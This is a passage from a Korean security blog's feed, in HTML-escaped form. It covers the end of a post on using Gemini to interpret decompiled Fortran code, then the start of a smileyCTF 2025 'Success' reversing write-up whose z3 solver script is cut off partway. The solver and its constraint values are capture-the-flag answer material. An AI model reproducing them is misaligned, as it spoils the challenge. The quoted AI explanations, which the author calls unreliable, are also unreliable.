  &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_gfortran_st_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v22&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v31&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;_gfortran_transfer_character_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v31&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_gfortran_st_write_done&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;아래는 각 블록 별 Gemini의 해석 요약입니다. (라인별 해석도 출력해주었습니다)&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;이 블록은 프로그램의 초기 설정을 수행하고, 사용자에게 “key:(A)”라는 프롬프트를 보여주며 입력을 기다립니다. 사용자가 입력한 문자열은 input 변수에 저장되며, 길이는 최소 24자… (생략)&lt;/li&gt;
  &lt;li&gt;이 블록은 사용자가 입력한 문자열의 각 문자에 대한 ASCII 코드 값을 모두 더하여 v33이라는 변수에 저장합니다. 이 합산된 값(v33)은 다음 단계의 연산에서 시드(seed) 값으로 사용됩니다.&lt;/li&gt;
  &lt;li&gt;이 블록이 핵심적인 데이터 변환(암호화)을 수행합니다. (이후 자세한 설명)&lt;/li&gt;
  &lt;li&gt;이 블록은 암호화 연산의 결과물인 index 배열의 28개 값이 모두 출력 가능한 ASCII 문자 범위… (생략)&lt;/li&gt;
  &lt;li&gt;모든 검증 과정을 통과했다면, 이 블록은 최종적으로 생성된 28자의 문자열을 화면에 출력합니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;아래는 막혔던 내용에 대한 해석입니다.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Q. v39의 역할은?
A. v39 변수는 함수의 반환 값을 임시로 저장하는 용도로 사용되지만, 그 값이 후속 연산에 전혀 사용되지 않으므로 프로그램의 핵심 로직에는 실질적인 역할을 하지 않습니다.
A. 이후 상세 설명...

Q. v39에 값을 넣는 콜들이 있었는데 내부에서 아무런 연산을 하지 않음. 이건 포트란 언어의 특징인가?
A. 아닙니다, 이것은 포트란 언어 자체의 고유한 특징이라기보다는 컴파일(compile) 및 디컴파일(decompile) 과정에서 발생하는 일반적인 현상에 가깝습니다.
A. 이후 상세 설명
# 위 내용은 신뢰성이 매우 떨어져보입니다.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://g.co/gemini/share/ce4cfac9161f&quot;&gt;대화 링크&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;작성자의-글&quot;&gt;작성자의 글&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;리버싱 분야는 데이터가 없을 줄 알아 ai에 대한 신뢰도가 바닥이었으나, 생각보다 제대로 해석해주고 있습니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://g.co/gemini/share/ce4cfac9161f&quot;&gt;대화 링크&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 17 Jun 2025 17:40:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/reversing-ai/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/reversing-ai/</guid>
      </item>
    
      <item>
        <title>[smileyctf2025] Success</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;smileyCTF 2025 리버싱 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Success&lt;/code&gt; 문제 풀이입니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;z3 solver&lt;/code&gt;라이브러리를 이용해 방정식 해를 구할 수 있음&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-06-16-0.png&quot; alt=&quot;내부 소스코드&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;다음과 같은 haskell 소스코드가 주어졌습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;점수 - 50점, 푼 팀 - 674/1023팀&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h2&gt;

&lt;p&gt;haskell if문을 복사한 후 편집기에서 정규식을 통해 수정하였습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\(\*\) \(chars !! (\d+) chars !! (\d+)\)&lt;/code&gt; -&amp;gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag[$1] * flag[$2]&lt;/code&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;아래는 문제 해답입니다.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;z3&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BitVec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;flag_&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;39&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)]&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Solver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;37&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3366&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;197&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9215&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2714&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;159&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5723&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;37&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;105&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;11990&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;29&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;29&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;127&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;21&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;197&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;36&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;77&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3630&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2714&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;^&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;72&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;221&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;36&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3465&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;148&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;156&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
